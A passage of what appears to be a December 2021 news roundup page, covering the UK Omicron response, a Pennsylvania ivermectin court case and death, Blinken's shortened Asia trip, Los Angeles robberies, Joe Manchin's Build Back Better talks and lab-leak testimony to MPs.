show an NHS Covid Pass to gain entry to large venues like nightclubs. Downing Street has repeatedly said there are currently no plans to go beyond Plan B. Meanwhile, Ms Sturgeon is locked in a row with the Treasury as she seeks extra money to help businesses in Scotland affected by her new rules. Nicola Sturgeon will hold showdown coronavirus talks with Michael Gove this afternoon as she demands more funding from the Treasury and urges the UK Government to follow her lead and toughen restrictions Mr Gove will chair a meeting of the COBRA committee with the leaders of the devolved administrations to discuss the UK response to the Omicron variant Ms Sturgeon tweeted this morning: 'Omicron is spreading very fast. We MUST slow it down while we speed up boosters, or weight of infections will overwhelm NHS & economy.' She has told Scots that gatherings should be limited to no more than three households. That advice came after the Scottish Government told people to cancel work Christmas parties and to work from home wherever possible. The Treasury announced yesterday that the UK Government will make additional funds available to the devolved administrations to 'provide greater certainty and allow them to plan as they tackle Covid-19 during the crucial weeks ahead'. But Ms Sturgeon accused the Treasury of 'smoke and mirrors' as she claimed there is actually no additional funding being made available. She said: 'While any financial support in the face of the pandemic, and the emergence of the Omicron variant, is welcome, today's announcement from the Treasury does not appear to amount to any additional funding. 'Instead, it merely advances money which Scotland would be due in any case from expected Barnett consequentials already budgeted for with the stipulation that we would need to pay back anything received over and above the final Barnett amount. 'That's not additional funding. That's just classic Treasury smoke and mirrors.' The SNP leader said the UK's decision not to put in place tougher Covid curbs means extra funding for Scotland will not be triggered. She said: 'Because the UK Government is at this stage not proposing any further protections a position I do not agree with there is no funding generated to compensate businesses for any protections we think are necessary and wish to put in place. 'That is not acceptable in current circumstances and, with the Welsh and Northern Irish Governments, we are pressing for a fairer approach that takes account of our devolved responsibilities for protecting public health. 'But for now, this is the situation we are in, and it means our public health response is curtailed by lack of finance.' Ms Sturgeon has repeatedly called for the Treasury to make more Covid funding available to Scotland, Wales and Northern Ireland. She wrote a joint letter with Welsh First Minister Mark Drakeford in November seeking an assurance from Mr Johnson that devolved Covid business support schemes would be funded by the Treasury if more curbs were deemed to be necessary. Today's COBRA meeting will take place after Scotland's Deputy First Minister, John Swinney, said this morning that further coronavirus restrictions may 'potentially' be needed before Christmas to curb the spread of Omicron. Asked if more restrictions could be put in place before Christmas, he said: 'Potentially that could be the case, but we want to avoid that. 'We hope we have done enough in the announcements that were made yesterday and we hope members of the public and businesses will work with us in a co-operative spirit to make sure we can take these provisions forward.' People who caught Covid in the past six months should be 'quite well protected' from Omicron, a leading expert on the virus has said. Evidence in South Africa suggests the strain is three times more likely to re-infect someone than previous variants, even if immunity against severe illness holds up. But a major British study appears to show protection from prior infection remains high for at least six months. That's according to Professor Tim Spector, a top epidemiologist who runs the UK Covid symptom-tracking surveillance project. He told BBC Radio 4's Today programme: 'We've definitely had cases reported where they had one of the previous variants, six to 12 months before, and they got re-infected. 'We're not seeing many who've had recent infections, so it could be if you've been infected more in the last six months you are relatively quite well protected.' However, he added data on this protection from Omicron was still emerging, with more information needed to be sure it was the case. Professor Spector didn't clarify if this was the case for both vaccinated and unvaccinated people but growing evidence suggests two doses of jabs may only provide around 30 per cent protection against symptomatic infection. On the Covid symptoms people are experiencing, Professor Spector said most were now experiencing cold-like symptoms, and the classic signs of the virus were now rarer. Professor Spector said: 'The majority of symptoms are just like a common cold, so we're talking about headaches, sore throat , runny nose, fatigue, and things like sneezing. 'Things like fever, and cough, and loss of smell, are actually now in the minority of symptoms that we're seeing.' Professor Tim Spector, who runs the UK's largest Covid symptom-tracking study has said there appear to few people who've had a Covid infection in the last six months who are catching Omicron, but added more data was needed on this Omicron cases are rapidly increasing across the UK, particularly in London Professor Spector also warned cases in London are rising faster than at any point since the first wave. He added his team's data which is given to ministers suggests anyone battling a cold in London probably has Covid. A previous Covid infection has been shown to offer protection from catching the virus again due to the body retaining the antibodies it used to fight off the virus the first time. Covid symptoms: What are we told to look out for? The Government advice is for anyone who has: a new continuous cough a high temperature a loss of, or change in, your normal sense of taste or smell to self isolate and get a Covid test. But experts like Professor Tim Spector have said these symptoms are now in the minority of Covid cases and people should keep an watch out for cold like symptoms such as headaches, sore throat, a runny nose, fatigue, and sneezing. Advertisement This prior-infection protection is similar to that offered by Covid jabs, which train the body to produce antibodies against the virus. Whether natural immunity offers this protection from Omicron has been debated for the same reason experts feared the super-mutant variant could escape vaccines, it is so significantly different from other Covid strains that antibodies designed to target the original virus do not recognise it as well. In South Africa, where Omicron was first identified just a few weeks ago, experts have reported that natural antibodies provided by previous Covid infection were ineffective at preventing the variant from infecting people. And just yesterday, Dr Paul Burton, chief medical officer for vaccine maker Moderna warned that Omicron and Delta could infect people at the same time, and possibly lead to the creation of a hybrid strain. Covid infections normally only involve one mutant strain, but in extremely rare cases two can strike at the same time. If these also infect the same cell, they may be able to swap DNA and combine to make a new version of the virus. But Dr Burton warned the high numbers of Delta and Omicron cases currently circulating in Britain made this more likely. He told MPs on the Science and Technology Committee that it was 'certainly' possible they could swap genes and trigger an even more dangerous variant. The Omicron Covid variant is now dominant in London, and is expected to make up the majority of cases in other regions over the coming days and weeks. The above graph shows the proportion of cases suspected to be Omicron because they do not have an S-gene (purple). PCR tests look for three genes to confirm a Covid infection but with Omicron one is so mutated that they only pick up two of them The above graph shows the proportion of cases suspected to be Omicron because they do not have an S-gene (purple). PCR tests look for three genes to confirm a Covid infection but with Omicron one is so mutated that they only pick up two of them Is London taking ITSELF into lockdown? Parts of London's West End were effectively in lockdown today as theatre shows were suspended and pubs and restaurant suffered a wave of cancellations triggered by mounting fears over the new Covid variant sweeping the capital. Big-budget productions from The Lion King at the Lyceum to Life of Pi at Wyndham's Theatre halted performances due to virus outbreaks among their cast and crew a decision which is costing producers hundreds of thousands of pounds. The Royal Shakespeare Company's production of A Comedy Of Errors at the Barbican and The Curious Incident of the Dog in the Night-Time in Wembley were also cancelled, while the National Theatre postponed a preview of Hex after a lead actor caught the virus. Others which have been suspended include The Rhythmics at Southwark Playhouse, Force Majeure at Donmar Warehouse and Fair Play at the Bush Theatre. Moulin Rouge at Piccadilly Theatre also suspended shows but has now restarted. Restaurants and pubs in the West End have been left 'devastated' by people cancelling bookings due to fears over the spread of the so-called 'Omicron' variant, which has become the dominant Covid strain in London. Advertisement While researchers have warned that these events, scientifically called 'recombination events', are possible but they require very specific conditions and the coincidence of mostly uncontrollable events. In other Covid news today, Boris Johnson will hold a Downing Street press conference later today as he faces growing pressure from his own advisers to hit the panic button in the face of Omicron and implement even tougher restrictions. With the mutant variant already dominant in London and gloomy modelling predicting up to 200,000 people are catching it every day, the Prime Minister will address the nation at 5pm alongside Professor Chris Whitty and top NHS official Dr Nikki Kanani to shed light on the current situation. No fresh restrictions are expected to be unveiled at the briefing, even though the Government will hold a secret Cobra meeting at the same time where ministers from England, Scotland, Wales and Northern Ireland will discuss the UK-wide response. Dr Jenny Harries, head of the UK Health Security Agency which replaced the now-defunct Public Health England warned Omicron posed the 'biggest threat' yet and that the NHS was 'in peril'. SAGE modeller Professor Graham Medley said he feared the super-strain could trigger a 'very large' wave of hospitalisations because it is so transmissible, while jabs adviser Professor Adam Finn called for action to halt the 'alarming' spread of the virus. But after suffering a 100-strong backbench revolt over Covid passes last night, there are now serious questions about whether the Prime Minister has the political strength to impose a tougher lockdown if he needs to. Transport Secretary Grant Shapps today hinted at tougher restrictions in 2022, saying Christmas 'will be a good deal happier than last year' but warning the measures in place now 'will see us through to the New Year'. It also emerged today that Communities Secretary Michael Gove will chair a Cobra meeting with the devolved administrations at 5pm today. Omicron is already behind half of all new Covid cases in London, which has seen its infection rate spiral to the highest levels since January and prompted calls for regional action. Parts of London's West End have already effectively entered lockdown as theatre shows are suspended and pubs and restaurant suffer a wave of cancellations triggered by mounting fears over the variant sweeping the capital. A spokesman for the mayor suggested yesterday that they would support more restrictions for the capital, saying it is better to 'act now'. But Tories called on ministers to rely on the 'vaccine shield'. Hospitalisations in the capital have also started to tick upwards, rising 50 per cent in a fortnight. But the raw numbers still stand at around 150 a day, compared to nearly 1,000 during the darkest days of the capital's second wave in January. Deaths remain flat at around 10 a day. These are lagging indicators, however, because of the time taken for someone who catches the virus to fall seriously ill and be admitted to hospital, meaning the worst of the rapid spread which has yet to show any signs of slowing down won't be felt until the New Year. A Pennsylvania man whose wife battled in court to have his COVID-19 infection treated with Ivermectin died on Sunday, seven days after receiving two doses of the controversial anti-parasite drug. Keith Smith, 52, passed away in an intensive care unit at the University of Pittsburgh Medical Center (UPMC) Memorial Hospital in York on December 12 after a month-long battle with COVID. His wife, Darla Smith, had filed a lawsuit against UPMC in late November after the hospital refused to administer Ivermectin to her husband of 24 years, despite a prescription from his physician, according to FOX 43. She had also contemplated giving him the drug herself after she picked the prescription, but she instead waited for the court order, which delayed the treatment. Darla had advocated for an Ivermectin treatment for Smith since receiving his November 10 coronavirus diagnosis. He was placed in a medically induced coma and put on a ventilator on November 28. On November 24, the day before Thanksgiving, Darla had picked up her husband's Ivermectin prescription and said she thought about just giving it to him herself, as the hospital would not. 'In the end, I didn't do it. And that will forever be a cloak of guilt that will cover me in shame,' she said, according to the York Daily Record. It is unclear if Keith Smith, a devout Christian and structural engineer at a firm in Lancaster, had been vaccinated against the virus. Keith Smith (left) died in the ICU on Sunday alongside his wife, Darla (right), and their two sons after a month-long battle with COVID. He passed one week after doctors administered controversial Ivermectin after Darla got a court order allowing him to receive the drug A York County judge ruled on December 3 that although the hospital was not compelled to administer the drug, Darla could find an independent doctor to do so. Smith received the drug 17 days after being admitted to the hospital and seven days before his death. Darla alleged the process of obtaining the court order delayed his opportunity for treatment by nine days. Keith Smith's condition deteriorated after he was given two doses of Ivermectin, leading doctors to stop administering the medication, according to the York Daily Record. 'Tonight, around 7:45 p.m., my precious husband breathed his last breath,' Darla wrote in a private blog post, . Keith Smith died surrounded by his wife and their two sons, Carter and Zach. Early into his hospital stay, Darla requested doctors administer Ivermectin after his primary physician had prescribed the drug before he was admitted. But UPMC initially refused, saying the drug was not part of the hospital's COVID protocol. 'The hospital argued in our case that the doctor who prescribed this was not licensed in Pennsylvania, that was totally wrong,' Darla's attorney Ralph Lorigo told FOX 43 earlier this month. Smith's doctor also argued that being on a ventilator long-term was unhealthy. 'Being on a ventilator for that length of time is extremely damaging. Your likelihood of living is substantially diminished by nearly 30 percent,' Lorigo added. 'Everyday this man does not get Ivermectin is a detrimental day to him.' Ultimately, York County Court Judge Clyde Vedder ruled that the hospital did not have to administer the drug to Smith, but it must allow a doctor or registered nurse to give him Ivermectin under the guidance of the telehealth doctor who initially prescribed the treatment, the Epoch Times reported. Darla (left) advocated for an Ivermectin treatment for Smith (right) since receiving his coronavirus diagnosis, which resulted in him being placed in a medically-induced coma and on a ventilator less than two weeks after onset of illness Darla filed a lawsuit against the University of Pittsburgh Medical Center Memorial Hospital in York (pictured), where Smith was being treated, because they refused to administer Invermectin. A telehealth doctor prescribed the drug to Smith to treat his COVID illness before he was admitted to the hospital According to his wife, at the time of his death Smith did not resemble the man she married. 'The man in that bed did not look like Keith. He was gaunt, with scabs on his cheeks from three weeks of torture, having that godforsaken vent attached to his face,' she wrote on her caringbridge.org website. 'He had a full beard and mustache. His hair had grown like a wild man.' Despite the lawsuit and her frustrations with UPMC, Darla still offered positive words for his care team at the hospital: 'I still love you. You cared for Keith for over 21 days. You dosed him with the medicines the doctors prescribed. 'You cleaned him and groomed him, moved him, propped him up, dealt with every mess, every smell, every trial. Everything. I appreciate you.' She also said she is choosing to remember Smith as he was before COVID. 'I don't want to remember my husband in that awful bed with that monstrous tube stuck in his throat. I want to erase the IVs, the wires, the lines, the feeding tube. I want to erase all of this,' she said. According to the York Daily Record, Darla had picked up her husband's Ivermectin prescription the day before Thanksgiving and contemplated administering it to him herself. Ultimately, York County Court Judge Clyde Vedder (pictured) ruled the hospital did not have to administer the drug to Smith, but must allow a doctor or registered nurse to give him Ivermectin under the guidance of the telehealth doctor who initially prescribed the treatment 'I could have given him the drug on the sly. Yes, they would have caught me,' she wrote on her website, describing how she could've have prepared the medication in a sterilized cup and snuck it into the hospital. 'In the end, I didn't do it. And that will forever be a cloak of guilt that will cover me in shame.' She added: 'I waited for the stupid court order, a nine-day delay from the date I picked up the script in Paoli. Then, UPMC played nasty, vile, wicked games for two days and delayed further.' Several hospitals nationwide have been hit with lawsuits demanding they treat COVID patients with Ivermectin. The drug can be used in small doses to treat parasitic worm infections in humans, like head lice and scabies, but in the US is more widely used to combat roundworms and other parasites in livestock. Conservatives including former President Donald Trump, Senator Ron Johnson and Tucker Carlson have promoted its use to treat coronavirus, despite doctors saying it has no capacity to treat viruses such as COVID. Both the Centers for Disease Control and Prevention (CDC) and Food and Drug Administration (FDA) have repeatedly warned Americans against using it to treat COVID. 'Ivermectin has not been authorized or approved for use in preventing or treating COVID-19 in humans or animals,' the FDA released in a statement earlier this year. 'Ivermectin is approved for human use to treat infections caused by some parasitic worms and head lice and skin conditions like rosacea.' 'Adverse effects associated with ivermectin misuse and overdose are increasing, as shown by a rise in calls to poison control centers reporting overdoses and more people experiencing adverse effects,' the CDC echoed. However, despite these warnings, Ivermectin has become popularly used by many to treat the virus, and was prescribed 88,000 times in one week, a 24-fold increase over a typical pre-pandemic week, according to the CDC. The FDA has repeatedly urged people not to use the drug against the coronavirus. 'You can also overdose on ivermectin, which can cause nausea, vomiting, diarrhea, hypotension (low blood pressure), allergic reactions (itching and hives), dizziness, ataxia (problems with balance), seizures, coma and even death,' the FDA warned. Calls to U.S. poison control centers about Ivermectin exposures have increased five-fold from before the pandemic, with a drastic rise in July, according to the CDC. The doctor halted use of Ivermectin (pictured) - which the FDA, CDC and WHO have warned against using to treat COVID - when Smith's condition worsened. He died seven days later Additionally, there was a significant spike in over-the-counter prescriptions of ivermectin outside of its narrow recommended use - commonly in 'veterinary formulations' more suited to livestock, like horses. Some who can not get a prescription are resorting to using versions of the drugs made for animals. Health experts, including those at the World Health Organization (WHO) which previously advised against the use of the Ivermectin and the malaria drug hydroxychloroquine to treat COVID, continue to research proposed coronavirus treatments and offer recommendations regarding their use. For example, last week WHO advised against using blood plasma from people who have recovered from COVID-19 as a treatment for patients with the illness, saying evidence has not shown the costly, time-consuming transfusions to be effective in preventing severe illness or death. The health entity, however, has previously recommended use of some steroids for patients with severe or critical cases of COVID. U.S. Secretary of State Antony Blinken cut short his brief trip to Southeast Asia on Wednesday after a journalist in the press corps accompanying him tested positive for COVID-19. The visit to Indonesia, Malaysia and Thailand was aimed at revitalizing relations in a region where China's influence has grown. Blinken had been due to hold meetings in Thailand on Thursday but informed his counterpart there he would return to Washington 'out of an abundance of caution', State Department spokesperson Ned Price said. Blinken and senior officials tested negative during routine PCR testing on Wednesday in Kuala Lumpur, Malaysia, where the journalist tested positive. The reporter, who has not been identified due to privacy reasons, had tested negative for the virus in Jakarta on Monday before receiving their positive diagnosis upon arrival in Malaysia. They are now isolating in the country and will not continue in the Secretary's entourage. The trip to Southeast Asia was Blinken's first since President Joe Biden took office in January. Blinken arrives for his meeting with his Malaysian counterpart on December 15. He and other members of his entourage tested negative for COVID Blinken watches a performance at the US Embassy in Jakarta on December 14. He visited Indonesia and Malaysia but had to call off his last stop in Thailand Price said Blinken expressed 'deep regret' to Thai Foreign Minister Don Pramudwinai over canceling his Bangkok visit and invited him to visit Washington, DC as soon as possible. 'He explained that, in order to mitigate the risk of the spread of COVID-19 and to prioritize the health and safety of the U.S. traveling party and those they would otherwise come into contact with, the Secretary would be returning to Washington,' Price said. 'The Secretary extended an invitation for the Foreign Minister to visit Washington at the earliest opportunity and noted that he looked forward to traveling to Thailand as soon as possible.' A separate statement released by the U.S. Embassy in Malaysia confirmed the journalist 'was not involved and has not participated' in any of Blinken's activities in Kuala Lumpur. The statement also made clear that everyone else tested in Malaysia were negative. A reporter within Blinken's press corps posted a photo on Wednesday morning of people dressed in hazmat suits appearing to approach the U.S. government's plane on the tarmac. 'Update from Blinkens plane: We just landed on our next stop. These are the type of people who start approaching your plane after someone tests positive for corona in the secretarys entourage,' the Washington Post journalist wrote. A reporter in Blinken's press corps posted a photo of people in hazmat suits approaching their plane The Biden administration has sought to shore up ties with a region that had become uncertain about U.S. commitment during a period of perceived neglect under Biden's predecessor, Donald Trump.' China expanded its influence in Southeast Asia, pushing investment and trade integration, at a time when Trump had withdrawn from a U.S.-inspired Pacific trade pact that sought to challenge Beijing's economic clout. In an address at an Indonesian university on Tuesday, Blinken laid out a strategy of boosting U.S. infrastructure investment in the Indo-Pacific region and strengthening supply chains, while advancing treaty alliances and expanding defense and intelligence cooperation with other countries. The speech took a swipe at the conduct of Chinese companies and 'aggressive actions' by Beijing, which he said the region had grown increasingly concerned about. China's foreign ministry said Blinken was 'drawing ideological lines'. Blinken criticized China's growing aggression in Southeast Asia He also criticized Beijing's aggression in the South China Sea, claiming their increased military presence there is alarming regional allies and risking #3 trillion in annual trade He also criticized Beijing's aggression in the South China Sea, claiming their increased military presence there is alarming regional allies and risking #3 trillion in annual trade. Blinken and his senior staff have tested negative for coronavirus at each leg of their tour, which started in Britain and included stops in Dubai, Jakarta and Kuala Lumpur. Blinken gave a joint news conference on Wednesday with Malaysian Foreign Minister Saifuddin Abdullah and also met Prime Minister Ismail Sabri Yaakob. He told reporters alongside his Malaysian counterpart that all disputes in the South China Sea must be 'resolved peacefully and in accordance with international law.' 'As I had a chance to underscore yesterday in speaking in Jakarta, the United States is committed to working with Malaysia, with countries throughout Southeast Asia to advance our vision for a free, open, interconnected, prosperous, resilient, and secure Indo-Pacific,' Blinken said. Los Angeles has been hit by at least two more 'follow home' robberies, with victims pursued by a gang in cars who then stole valuable jewelry at gunpoint. In both cases, one in Valley Village and another in Hollywood, the robbers are described as a group of four men in their early 20s. The most recent of the two incidents occurred on December 1 at around 6 pm, when two people were followed by four men, all armed with handguns, to an apartment building in the 1600 block of Formosa Avenue in Hollywood. Surveillance video footage taken from outside the building, obtained by KTLA, shows as the two victims walk towards the entrance as the four robbers can be seen running towards their direction armed with pistols. The suspects, who remain just outside of the camera's view, were then held at gunpoint by the men, who demanded their property, before fleeing with two watches. The most recent of the incidents occurred on December 1, when two people, pictured, were followed by four armed men to an apartment building in Hollywood Pictured: the two victims were followed home by four armed men, with one pictured with gun drawn above The suspects, pictured, held the two victims at gunpoint before stealing 'two expensive watches' and fleeing, according to police 'As they were approaching an apartment door, four suspects armed with handguns surrounded them and demanded their property,' police said in a release. The thieves, one of whom could be seen grabbing items from the victims and stuffing them into his pocket, made off with 'two expensive watches,' police added. Just days beforehand, another follow-home robbery took place in Valley Village on November 27, less than a 15-minute drive from where the Hollywood robbery occurred. It remains unclear if the same robbers are behind both incidents, although footage shows clear similarities between the two. Surveillance video footage captured much of the November 27 incident as well, showing the victims as they were being dropped off at the 4800 block of Whitsett Avenue by a ride-sharing service around 1:30 am. The footage showed as the suspects followed the vehicle the victim's were in two separate cars. As the victims exited their vehicle, the four men run towards their direction before surrounding them and drawing handguns, while making off with jewelry and other possessions. Another follow-home robbery, victim's vehicle pictured above, took place in Valley Village on November 27, less than a 15-minute drive from where the Hollywood robbery occurred Pictured: one of the two cars the suspects used in the November 27 follow-home robbery Pictured: the second of two cars the suspects used in the November 27 follow-home robbery. Police are asking the public's assistance in identifying both the suspects' vehicled Pictured: one of the victims, who had just been dropped off by a ride-sharing service, can be seen with his back facing the camera and his hands in the air after the follow-home robbery Pictured: a map showing the locations of the two follow-home robberies that occurred just days apart. The two locations are just about 13 minutes apart by car Details on the type of jewelry seized and its value has not been released by the LAPD. The robbery incidents are just one of many to occur in LA and across California in recent weeks, and come the day after it was revealed one of the city's most upmarket malls had installed unsightly new security wires to try and deter robberies. The Grove, a luxury Los Angeles outdoor shopping center, installed barbed-wire coil fencing to deter criminals after being repeatedly targeted by looters during a spate of smash-and-grab robberies plaguing the state. It added the fencing around the entrances and exits of the property before Thanksgiving weekend in an attempt to keep stores safe during the busy holiday shopping season. The shopping outlet has also increased security measures, beefing up police presence by hiring off-duty officers to monitor the area and adding security cameras. The security measures come amid a wave of retail looting across LA, as well as San Francisco and Chicago. Famed LA shopping outlet The Grove has added barbed wire fencing at the entrances and exits of their store as an increased security measure The popular shopping outlet, which opened in 2002, has also increased police presence and have replaced glass windows with a special coating exterior The Grove was previously the site of smash and grab incident on November 22 after around 20 looters broke into a Nordstrom's and stole $5,000 worth of merchandise and caused $15,000 in damage The Grove, an open-air mall located on part of the city's historic Farmer's Market, is anchored by Nordstrom and features other top retailers such as Apple, Nike, Swarovski, TopShop/Topman and American Girl Place. Despite the barbed wire, around 20 looters ransacked Nordstrom using sledgehammers to break the displays on November 22. The crew stole $5,000 worth of merchandise and caused $15,000 worth of damage. The merchandise has since been recovered by police and the looters involved have all been arrested. A spokesperson for the outlet said that the wire fencing prevented the thieves from entering the enclosed area of the mall, while Nordstrom was outside barbed wire. Other LA shopping areas, such as Citadel Outlets, have also tightened security. 'We have also increased our onsite security staff around the clock and have stationed security personnel throughout the center,' general manager David Blagg told CNN. A map shows the locations of some of the major smash-and-grab robberies that have taken place in Southern California LA crime is on the upswing, according to police statistics. Homicides are up by 46 percent, car thefts are up 53 percent and shootings have risen by a staggering 51 percent in Los Angeles compared with the same time frame through November 27 of 2019 There were 7,542 robberies in Los Angeles this year through November 27, the LAPD's most recent data indicate, which represents a 3.9 per cent increase from last year California's Proposition 47 - lighter sentences for thieves Proposition 47 was passed by California voters on November 5, 2014. It made some 'non-violent' property crimes, where the value of the stolen goods does not exceed $950, into misdemeanors. It also made some 'simple' drug possession offenses into misdemeanors, and allows past convictions for these charges to be reduced to a misdemeanor by a court. Under California law, though, if two or more person's conspire to 'cheat and defraud any person or any property, by any means which are in themselves criminal' they can face no more than one year in county prison, a fine of $10,000 or a combination of the two. Advertisement 'Additionally, we have gates at entrances and exits that can be closed quickly giving us the ability to lock down the center within 1 to 2 minutes.' Meanwhile, 'woke' US city officials have been criticized for how they have handled these issues. Los Angeles County District Attorney George Gascon has been slammed for his progressive politics since he took office last year such as letting criminals run free as they await their day in court. On December 2, LA police arrested 14 suspects alleged to have been involved in 11 recent smash-and-grab robberies at stores last month, where nearly $340,000 worth of merchandise was stolen in strikes on an LA Nordstrom, a Lululemon in Studio City, a Fairfax district store, and a CVS pharmacy in South LA. However, due to city's zero-bail policies, the suspects were all released within hours of being handcuffed and are currently walking the streets while they wait for their cases to go to court. 'If you look at the 14 people arrested, they could have been charged, there could have been bail amounts set, but none of that was done because the district attorney refuses to take a leadership position on this issue,' prosecutor Eric Siddall told Fox, slamming Gascon office's do-nothing approach to the rampant crime wave currently afflicting cities all across the Golden State. Anyone with information regarding the two follow-home robbery incidents is urged to contact Detective Argota and Detective Bonilla at 213-486-6840 or email RHDTIPLINE@LAPD.ONLINE. Both cases are being investigated by the Follow Home Robbery Task Force at Robbery-Homicide Division, while the FBI is offering up to $10,000 as a reward for information leading to an arrest in either case. Anyone wishing to anonymously provide information should call the LA Regional Crime Stoppers at 1-800-222-TIPS (8477) or visit lacrimestoppers.org. Rebel Democratic Senator Joe Manchin snapped on Wednesday after reports his opposition to the Child Tax Credit killed Joe Biden's hopes for the Senate to pass the president's signature Build Back Better bill by Christmas. 'This is b******t. You're b******t,' the West Virginia senator yelled at Arthur Delaney, a reporter for HuffPost Politics, who asked him about reports that the child tax credit has become a major sticking point in his talks with the White House. 'I'm done, I'm done,' Manchin fumed as the questions continued. 'Guys, I'm not negotiating with any of you all. You can ask all the questions you want. Guys, let me go,' he told the press as he walked through the basement of the Capitol, muttering 'God almighty' as he walked away. It was the second blow up from the day from the senator, who is taking the blame from Democrats for the failure to move forward on Biden's signature legislation. Manchin has refused to support the bill as it stands and, in the evenly divided Senate, the president needs every Democratic vote. He's become an object of intense focus in the past few months. Reporters stalk him out in every nook, cranny and hallway of the Capitol building; protesters wait for him outside the Capitol building and around his house boat; and his is being perpetually wooed by both parties for his vote. On Wednesday he snapped. Tensions are rising as the clock ticks to Senate Democratic Leader Chuck Schumer's Christmas deadline. With only 10 days to go, signs point that deadline being missed, with a vote on Build Back Better being punted into the new year. 'Manchin has talked with Biden and they are still miles apart,' a person familiar with the talks told DailyMail.com. Manchin, speaking with another group of reporters, denied reports that child tax credit was the issue and said reporters are hearing 'a lot of bad rumors.' 'I'm not opposed to child tax credit, I've never been opposed to child tax credit,' he insisted. Democratic Senator Joe Manchin snapped after reports his opposition to the Child Tax Credit killed Joe Biden's hopes for the Senate to pass the president's Build Back Better bill by Christmas Joe Manchin yelled at reporters in the basement of the Capitol; the West Virginia senator is constantly followed by press as he is seen above, waiting for an elevator outside the Senate chamber in the Capitol At issue is Manchin's insistence on cuts in Biden's massive social safety net bill that funds education, health care, and climate programs. The West Virginia senator was objecting to reports he wants to defund or limit the expanded Child Tax Credit, which most Democrats want to keep in Biden's signature legislation. Compounding matters, the state of West Virginia is one of the biggest benefitters of the Child Tax Credit, which was expanded earlier this year in a COVID relief package. An estimated 346,000 West Virginia children - 93 percent of all kids in the state - live in households that qualify for the tax credit, according to the West Virginia Center on Budget and Policy. But comes down to Manchin's belief that the cost of Build Back Better bill should not more than $1.75 trillion, a source familiar with his thinking told Politico. 'Senator Manchin is not telling President Biden what to include or not include. He has always been supportive of the' child tax credit, the source said. But the cost for extending the Child Tax Credit 10 years, which is the ultimate goal for Democrats, is about $1.4 trillion. But any proposal to strip the child tax credit from Biden's bill would likely be met with strong opposition from other Democratic lawmakers, who like the credit. Democratic senators told The Hill newspaper that frustration with Manchin is rising, and many of them are fed up with his refusal to sign off on Bidens signature domestic social spending proposal. Talks are continuing but the Senate on Wednesday wrapped up its list of legislation it must pass by year's end when it approved the National Defense Authorization Act, which funds the Pentagon. With the government funded until February 18th and the debt ceiling raised, lawmakers have done what needs to be done to keep the government running. So, Schumer will, instead, shift the chamber's focus to trying to pass voting rights legislation, NBC News reported, as talks with Manchin continue. Biden, himself, admitted on Wednesday that his Build Back Better bill was not a done deal. 'It's going to be close,' Biden said when asked if his legislation will pass by the end of the year. He said 'some' progress has been made but didn't offer any additional details. The president and Manchin spoke on Monday and Tuesday as negotiations continue. Reporters surround Senator Joe Manchin in his car on Tuesday night outside the Capitol Schumer said on the Senate floor on Wednesday that lawmakers would 'continue working on getting the Senate into a position where we can vote on the President's Build Back Better legislation.' But he conceded the talks may not come to fruition. 'If we can't make too much progress, we will need to stay and hold votes on nominees this weekend and next week until we do,' he noted. He also said voting rights legislation remains a priority. 'We're also continuing to hold conversations as Senate Democrats on the urgent work of advancing the Freedom to Vote Act & John Lewis Voting Rights Advancement Act,' Schumer noted. A group of moderate Democrats is trying to negotiate a rules change on the voting rights bill that would allow it to move forward in the legislation process with just a simple majority - bypassing the Republican ability to filibuster. Talks continue on that matter. Wednesday marks the final day roughly 36 million families will see a payment from the IRS on the child tax credit. The monthly payments, which began July 15, were limited to 2021, and the last one is set for Wednesday. The Build Back Better version passed by the House would extend the advance payments through next year. Manchin wants that cut from the Senate version, arguing it contributes to inflation. The next pay date for the child tax credit would be January 15, but lawmakers would need to pass something before December 28. The credit went from $2,000 per child to $3,000 per child over the age of six and $2,000 to $3,600 for children under six. The bill also raised the age limit from 16 to 17, so all minors were included. All working families were doled out the money if they made up to $150,000 per couple or $112,500 for a family with a single parent. Earlier Wednesday, the White House stayed hopefully a deal can be made with Manchin. 'We believe the senator wants what we want, which is to deliver for the American people,' deputy White House press secretary Karine Jean-Pierre said. President Joe Biden admitted his $1.75 trillion Build Back Better bill was not a done deal Senate Democratic Leader Chuck Schumer has set a Christmas deadline to pass Build Back Better but it appears he will have to punt the legislation into the new year No Republican senator is expected to support Biden's bill, which contains funding for education programs, paid family medical leave and to fight climate change. The bill passed the House last month. Compounding matters, Democratic Senator Kyrsten Sinema also has not pledged her support for the House-passed bill, which clocks in at 2,100 pages. Democrats have negotiated with her on her opposition to several of the tax increases they originally had proposed, increasing the difficulty of raising revenue to pay for the bill. The House-passed version of the legislation contains over $500 billion for clean energy projects plus tax incentives for utilities turning to less polluting fuels and people buying electric vehicles. There's money for child care, job training, housing, free preschool for 3- and 4-year-olds, in-home care for seniors and new hearing benefits for Medicare recipients. There would be extended tax credits for families with children, for some low-earning workers and for people purchasing private health coverage. In language that helped win support from lawmakers from high-cost coastal states, the bill would increase federal deductions people can take for state and local taxes. The provision, which would largely benefit affluent earners, would cost above $220 billion over the next five years, making it one of the legislation's costliest programs. The measure would also finance a new requirement for four weeks of paid family leave and create temporary work permits so millions of immigrants could remain in the U.S. up to a decade. Most of the bill's costs come from mountains of new spending, though there are also hundreds of billions in tax credits for encouraging certain goals. Most of the bill would be paid for with tax boosts on the country's highest earners, biggest corporations and companies doing business abroad. That includes new surtaxes on people earning over $10 million annually and a corporate minimum tax. Advertisement Harvard scientist Dr Alina Chan told the Science and Technology Select Committee that it is 'reasonable' to believe that Covid was genetically engineered by China The Wuhan lab leak is now the most likely origin of the coronavirus pandemic because Beijing tried to cover it up, MPs were told today. Harvard scientist Dr Alina Chan told the Science and Technology Select Committee that it is 'reasonable' to believe that Covid was genetically engineered in China. She also said that the Chinese Communist Party's cover-up of the initial outbreak in Wuhan two years ago and attempts to sabotage the World Health Organisation's inquiry into the origins of the pandemic made the lab-leak theory likely. Tory peer Lord Ridley, who has co-authored a book on the origin of the virus with Dr Chan, said the fact that experts have still not found the animal host that would support a natural origin despite two years of research supports claim that Covid came from a lab. Recent revelations of China's attempted cover-up have forced British and US intelligence officials to take seriously the lab-leak hypothesis, once dismissed as a crank conspiracy theory. However, the bombshell allegations are likely to heap pressure on the UK Government to challenge Beijing's assurances that the virus came from the natural world. They are also likely to raise further questions about the relationship between Chinese President Xi Jinping and the WHO, which last year was accused of publishing a whitewash report into the outbreak. Dr Chan told MPs: 'I think the lab origin is more likely than not. Right now, it's not safe for people who know about the origin of the pandemic to come forward. 'But we live in an era where there is so much information being stored that it will eventually come out. We have heard from many top virologists that a genetically-engineered origin is reasonable, and that includes virologists who made modifications to the first SARS virus.' 